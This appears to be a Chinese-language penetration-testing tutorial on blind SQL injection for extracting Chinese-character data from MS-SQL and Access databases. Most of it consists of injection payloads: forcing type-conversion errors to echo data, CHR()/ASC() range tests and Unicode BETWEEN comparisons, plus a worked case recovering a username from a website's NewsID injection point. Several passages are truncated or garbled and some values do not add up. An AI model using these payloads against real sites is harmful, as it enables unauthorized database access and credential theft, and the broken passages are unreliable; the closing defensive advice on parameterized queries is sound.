SQL Injection 中文盲注一直是滲透測試中的難點。本文系統整理 MS-SQL 與 Access 兩大資料庫的中文猜解技巧,分享「間接轉碼法」與「直接 Unicode 範圍法」兩大核心技法,並附實戰案例。
MS-SQL 可透過型別轉換錯誤直接回顯資料。例:
SELECT * FROM sysusers WHERE [name] = 1
-- name 為 nvarchar,強制轉 int 會報錯:
-- Syntax error converting the nvarchar value 'public' to a column of data type int.
錯誤訊息中直接包含資料內容(如 public),中文同理可直接獲得,無需逐字盲注。
... 0<>(SELECT COUNT(*) FROM admin WHERE LEFT(xxx,1) BETWEEN CHR(20) AND CHR(254))
-- 若失敗,嘗試
... 0<>(SELECT COUNT(*) FROM admin WHERE LEFT(xxx,1) BETWEEN CHR(254) AND CHR(255))
-- 若成立,確認為中文(雙位元組字元)。
原理:Access 中文取 ASC(RIGHT(LEFT(xxx,N),1)) 會得到負數(Unicode 高位元組特性)。
ASC(RIGHT(LEFT(xxx,N),1)) < -XXXXX(經驗值 -10000 以下)。D6DC),再用 UltraEdit 十六進位編輯檢視對應中文字(如「周」)。原理:Access BETWEEN 比較中文時,依 Unicode 編碼順序。
RIGHT(LEFT(xxx,N),1) BETWEEN '一' AND '龥'(或 翿 視編碼表)。| 維度 | 間接轉碼法 | 直接範圍法 |
|---|---|---|
| 適用性 | 通用,甚至有過濾時仍可用 | 通用,但遇過濾可能受限 |
| 手工操作 | 較直觀 | 需查 Unicode 表,較繁瑣 |
| 自動化腳本 | 稍複雜 | 較簡單 |
| 適用字元集 | 所有非 ASCII 字元(日文/韓文等同理) | 同 |
目標:某站 NewsID=264 注入點,已知密碼 19831016%%%%%,用戶名長度 2 為中文。
ASC(LEFT(username,1)) < -10000 → 縮小至 -10532 → 十六進位 D6DC → 「周」。RIGHT(LEFT(username,2),1) BETWEEN '未' AND '本' → 逐一確認 → 「末」。結論: 中文帳號密碼並不增加安全性,盲注技法可完整破解。
掌握這兩大核心技法,配合自動化工具,能高效突破 Access 中文盲注防線。資安人員應了解攻擊原理,在開發階段即參數化查詢、最小權限、WAF 防護,從根源杜絕注入風險。